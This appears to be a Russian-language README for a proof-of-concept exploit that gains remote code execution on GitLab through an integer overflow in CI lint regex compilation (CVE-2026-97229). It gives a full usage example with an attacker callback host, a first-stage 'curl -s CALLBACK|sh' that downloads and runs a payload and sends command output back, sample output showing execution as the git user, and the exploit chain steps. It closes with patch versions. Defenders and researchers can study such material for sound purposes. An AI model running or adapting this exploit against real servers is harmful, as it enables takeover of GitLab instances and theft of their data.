
PoC RCE через целочисленное переполнение в GitLab CI lint для CVE-2026-97229, проверенный на официальном образе 19.4.1 CE amd64
poc.py эксплуатирует CVE-2026-97229 через публичную конечную точку CI lint в GitLab. Злоумышленник, имеющий право на push в публичный проект, передаёт регулярное выражение CI и специально сформированный путь. После этой подготовки запрос без учётных данных выполняет выбранную команду от имени учётной записи git в GitLab.
Это первоначальный выпуск PoC. Анализ уязвимости, затронутых конфигураций и дополнительных достижимых путей продолжается. Технический анализ Rapid7 приведён по ссылке ниже.
GitLab оценивает проблему в CVSS 10.0. Она затрагивает GitLab Community Edition и Enterprise Edition с 19.2 до 19.2.8, с 19.3 до 19.3.5 и с 19.4 до 19.4.2.
Входящая в комплект нативная конфигурация протестирована только на официальном образе Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0:
gitlab/gitlab-ce@sha256:9b33b45b9f42d176bada85ee5ecb81ddab7e506c435f44cd582206e284b2809c
GET /api/v4/projects/:id/ci/lint на этапе доставки.19.4.1 CE amd64 Ruby. Для других затронутых сборок требуются скорректированные смещения pcode и libruby.--cmd с возвратом вывода.Цепочка требует доступа на запись к проекту. Её последующий запрос доставки не содержит токена, cookie или заголовка авторизации; аутентифицированный URL клонирования отправляет ветку с полезной нагрузкой атакующего.
Используйте Python 3.9 или новее и клиент Git. Скрипт не имеет сторонних зависимостей Python.
$ python3 poc.py https://g.example 123 \
--git-url 'https://oauth2:[email protected]/attacker/public-poc.git' \
--callback-url cb.ex:8000 \
--cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)
Слушатель по умолчанию привязывается к 0.0.0.0:8000. Используйте --listen-host или --listen-port, если локальный адрес привязки отличается от адреса, переданного в --callback-url.
Значение callback должно умещаться в 28-байтовую команду первой стадии. При curl -s CALLBACK|sh значение CALLBACK может занимать не более 17 байт UTF-8. Обычно проще всего использовать короткое DNS-имя, редиректор или конечную точку туннеля.
Используйте --insecure, если конечная точка GitLab имеет самоподписанный TLS-сертификат. Этот флаг влияет на запрос lint; он не меняет обработку TLS для callback.
Запрос GET обычно завершается HTTP 502 после callback. Полезная нагрузка выполняется внутри воркера Puma, и этот воркер падает после возврата из system(). Puma автоматически заменяет его. Считайте возвращённый вывод команды признаком успеха, а не HTTP-статус.
На точной целевой системе цепочка выдала вывод команды в 10 из 10 испытаний на чистых воркерах при включённом ASLR. Каждый запрос занимал около 12 секунд. То же регулярное выражение и путь возвращали false без callback на официальном компиляторе Ruby 19.4.2.
Запуск на целевой системе с меньшим объёмом памяти может вызвать свопинг, сбой выделения памяти или завершение по OOM вместо выполнения кода. Несколько одновременных запросов могут повлиять на весь экземпляр GitLab.
.gitlab-ci.yml из выбранного атакующим content_ref без учётных данных после аутентифицированной настройки репозитория.include.rules.exists.regexp компилирует выражение и проверяет его на путях репозитория, контролируемых атакующим.{5(?#)7805} превращается в {57805} в Onigmo, но обходит сканер повторов GitLab.37,151 × 57,805 превышает INT_MAX, и сгенерированное смещение ветвления заворачивается в байты битовой карты класса символов.system() в libruby.--cmd, затем отправляет stdout и stderr обратно слушателю.Прочитайте технический анализ CVE-2026-97229 от Rapid7.
Обновитесь до GitLab 19.2.8, 19.3.5, 19.4.2 или более поздней поддерживаемой версии. См. критический патч-релиз GitLab для указаний по развёртыванию.